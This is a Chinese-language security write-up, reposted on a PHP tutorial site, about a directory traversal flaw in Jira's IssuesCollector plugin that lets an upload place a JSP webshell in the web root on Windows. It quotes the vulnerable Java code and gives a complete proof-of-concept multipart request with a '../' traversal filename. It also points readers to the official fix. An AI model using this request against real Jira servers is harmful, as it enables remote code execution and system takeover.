来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 最近,一则新发布的公告报告了一个影响Jira 5 0 11和6 0 3版本的目录遍历漏洞,该漏洞在去年7月份被验证,并在接下来的几个月得以修复。攻击方法很简单,但是潜在影响却是非常大的,...
最近,一则新发布的公告报告了一个影响Jira 5.0.11和6.0.3版本的目录遍历漏洞,该漏洞在去年7月份被验证,并在接下来的几个月得以修复。
攻击方法很简单,但是潜在影响却是非常大的,该漏洞可能允许攻击者上传文件作为webshell。后文我会解决该漏洞如何通过静态分析发现,以及什么一个小细节使其只能在Windows系统上被利用。 漏洞识别 以下代码源自插件IssuesCollector,该插件使用REST api,支持上传屏幕截图文件作为附件附加到说明中。 com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java [...] @POST @Path("multipart/{collectorId}") @Consumes({"multipart/form-data"}) @Produces({"text/html"}) public Response attachTemporaryFileViaForm(@PathParam("collectorId") String collectorId, @MultipartFormParam("screenshot") Collection<filepart> fileParts) { ServiceOutcome outcome = this.collectorService.getCollector(collectorId); [...] FilePart filePart = (FilePart)fileParts.iterator().next(); try { [...] TemporaryAttachment temporaryAttachment = createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream()); temporaryAttachmentsMonitor.add(temporaryAttachment); context.put("temporaryAttachment", temporaryAttachment); return Response.ok(renderTemplate("templates/rest/tempfilejson.vm", context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build(); } catch (IOException e) { } return Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build(); } private TemporaryAttachment createTemporaryAttachment(String fileName, String contentType, InputStream inputStream) { File tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory(); long uniqueId; File tempAttachmentFile; do { uniqueId = getUUID(); tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName); } while (tempAttachmentFile.exists()); FileOutputStream output = null; try { output = new FileOutputStream(tempAttachmentFile); IOUtils.copy(inputStream, output); output.close(); } catch (IOException e) { IOUtils.closeQuietly(output); log.error("Error creating temporary attachment", e); return null; } return new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L), tempAttachmentFile, fileName, contentType); }在第31行,代码将上传的文件移动到一个临时目录中,filename的值没有任何过滤,该值由多个部分组合而成,因此可以通过客户端控制。 31 tempAttachmentFile = new File(tmpDir, uniqueId + "_" +fileName);
来源:13 [...]createTemporaryAttachment(filePart.getName(),filePart.getContentType(), filePart.getInputStream());
漏洞利用为了使文件上传到附件目录之外,可以用一个经典的目录遍历模式遍历到公共web目录的根目录(/atlassian-jira/)。在之前示例代码可以看到其并没有对文件内容进行过滤,因此可以上传一个JSP shell来获取系统权限。 POST /rest/collectors/1.0/tempattachment/multipart/2c1ce5fa HTTP/1.1 Host: hackme.atlassian.net Cookie: atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------16266315542468 Content-Length: 345 -----------------------------16266315542468 Content-Disposition: form-data; name="screenshot"; filename="/../../../atlassian-jira/hello.jsp" Content-Type: text/plain <h1> Hello world!</h1> -----------------------------16266315542468 在Windows系统上: C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp
在Linux系统上:/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp
在windows系统上路径会被规范化为"C:\ProgramFiles\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp",之后文件被写入。换句话说,Linux系统会使用整个完整的路径,并会发现目录"/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_"根据不存在,因此无法利用。 这里可以将上传的文件替换为一个webshell。 漏洞修补 如果读者维护着一款Jira实例,应该已经接收到更新提示了,如果没有,请参考文章开头提到的公告。 参考 JIRASecurity Advisory 2014-02-26 : The official advisory WASC:Path traversal : Complete description of the Path traversal vulnerability [via h3xstream] |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com